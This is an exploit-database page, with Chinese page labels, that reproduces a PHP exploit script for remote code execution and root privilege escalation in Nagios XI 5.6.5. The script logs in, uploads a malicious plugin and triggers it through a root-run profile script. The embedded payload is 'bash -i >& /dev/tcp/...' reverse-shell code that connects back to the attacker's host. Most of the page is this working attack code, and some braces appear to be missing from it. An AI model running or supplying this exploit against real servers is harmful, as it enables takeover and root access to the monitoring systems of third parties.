发布 2019-08-21 漏洞条目

Nagios XI 5.6.5 – Remote Code Execution / Root Privilege Escalation

Exploit Source

<?php

A vulnerability exists in Nagios XI <= 5.6.5 allowing an attacker to leverage an RCE to escalate privileges to root.

The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with perissions to manage plugins.

The getprofile.sh script, invoked by downloading a system profile (profile.php?cmd=download),

is executed as root via a passwordless sudo entry; the script executes the ‘check_plugin’ executuable which is owned by the nagios user

A user logged into Nagios XI with permissions to modify plugins, or the 'nagios' user on the server,can modify the ‘check_plugin’ executable

and insert malicious commands exectuable as root.

Author: Jak Gibb (https://github.com/jakgibb/nagiosxi-root-exploit)

Date discovered: 28th July 2019

Reported to Nagios: 29th July 2019

Confirmed by Nagios: 29th July 2019

$userVal = parseArgs($argv);

checkCookie();

$userVal['loginNSP'] = extractNSP($userVal['loginUrl']);

authenticate($userVal);

$userVal['pluginNSP'] = extractNSP($userVal['pluginUrl']);

uploadPayload($userVal);

triggerPayload($userVal);

function extractNSP($url) {

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, $url);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);;

curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt');

curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');

curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

echo "[+] Grabbing NSP from: {$url}\n";

$response = curl_exec($curl);

$httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);

if ($httpCode == '200') {

echo "[+] Retrieved page contents from: {$url}\n";

} else {

echo "[+] Unable to open page: {$url} to obtain NSP\n";

exit(1);

}

$DOM = new DOMDocument();

@$DOM->loadHTML($response);

$xpath = new DOMXpath($DOM);

$input = $xpath->query('//input[@name="nsp"]');

$nsp = $input->item(0)->getAttribute('value');

if (isset($nsp)) {

echo "[+] Extracted NSP - value: {$nsp}\n";

} else {

echo "[+] Unable to obtain NSP from {$url}\n";

exit(1);

}

return $nsp;

}

function authenticate($userVal) {

$postValues = array(

'username' => $userVal['user'], 'password' => $userVal['pass'],

'pageopt' => 'login', 'nsp' => $userVal['loginNSP']

);

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, $userVal['loginUrl']);

curl_setopt($curl, CURLOPT_POST, TRUE);

curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($postValues));

curl_setopt($curl, CURLOPT_REFERER, $userVal['loginUrl']);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);

curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt');

curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');

curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

echo "[+] Attempting to login...\n";

curl_exec($curl);

if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == '302') {

echo "[+] Authentication success\n";

} else {

echo "[+] Unable to plguin, check your credentials\n";

exit(1);

}

echo "[+] Checking we have admin rights...\n";

curl_setopt($curl, CURLOPT_URL, $userVal['pluginUrl']);

$response = curl_exec($curl);

$title = NULL;

$dom = new DOMDocument();

if (@$dom->loadHTML($response)) {

$dom->getElementsByTagName("title")->length > 0 ? $title = $dom->getElementsByTagName("title")->item(0)->textContent : FALSE;

}

if (strpos($title, 'Manage') !== FALSE) {

echo "[+] Admin access confirmed\n";

} else {

echo "[+] Unable to reach login page, are you admin?\n";

exit(1);

}

function uploadPayload($userVal) {

$payload = "-----------------------------18467633426500\nContent-Disposition: form-data; name=\"upload\"\n\n1\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"nsp\"\n\n{$userVal['pluginNSP']}\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\nContent-Type: text/plain\n\nbash -i >& /dev/tcp/{$userVal['reverseip']}/{$userVal['reverseport']} 0>&1\n-----------------------------18467633426500--\n";

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, $userVal['pluginUrl']);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);

curl_setopt($curl, CURLOPT_POST, 1);

curl_setopt($curl, CURLOPT_ENCODING, 'gzip, deflate');

curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');

$headers = array();

$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';

$headers[] = 'Accept-Language: en-GB,en;q=0.5';

$headers[] = 'Referer: ' . $userVal['pluginUrl'];

$headers[] = 'Content-Type: multipart/form-data; boundary=---------------------------18467633426500';

$headers[] = 'Connection: keep-alive';

$headers[] = 'Upgrade-Insecure-Requests: 1';

curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

echo "[+] Uploading payload...\n";

$response = curl_exec($curl);

$dom = new DOMDocument();

@$dom->loadHTML($response);

$upload = FALSE;

foreach ($dom->getElementsByTagName('div') as $div) {

if ($div->getAttribute('class') === 'message') {

if (strpos($div->nodeValue, 'New plugin was installed') !== FALSE) {

$upload = TRUE;

}

if ($upload) {

echo "[+] Payload uploaded\n";

} else {

echo '[+] Unable to upload payload';

exit(1);

}

function triggerPayload($userVal) {

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, $userVal['profileGenUrl']);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($curl, CURLOPT_ENCODING, 'gzip, deflate');

curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');

$headers = array();

$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';

$headers[] = 'Connection: keep-alive';

$headers[] = 'Upgrade-Insecure-Requests: 1';

curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

echo "[+] Triggering payload: if successful, a reverse shell will spawn at {$userVal['reverseip']}:{$userVal['reverseport']}\n";

curl_exec($curl);

}

function showHelp() {

echo "Usage: php exploit.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port\n";

exit(0);

}

function parseArgs($argv) {

$userVal = array();

for ($i = 1; $i < count($argv); $i++) {

if (preg_match('/^--([^=]+)=(.*)/', $argv[$i], $match)) {

$userVal[$match[1]] = $match[2];

}

if (!isset($userVal['host']) || !isset($userVal['ssl']) || !isset($userVal['user']) || !isset($userVal['pass']) || !isset($userVal['reverseip']) || !isset($userVal['reverseport'])) {

showHelp();

}

$userVal['ssl'] == 'true' ? $userVal['proto'] = 'https://' : $userVal['proto'] = 'http://';

$userVal['loginUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/login.php';

$userVal['pluginUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/admin/monitoringplugins.php';

$userVal['profileGenUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/includes/components/profile/profile.php?cmd=download';

return $userVal;

}

function checkCookie() {

if (file_exists('cookie.txt')) {

echo "cookie.txt already exists - delete prior to running";

exit(1);

}

作者: Jak Gibb
日期: 2019-08-21
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection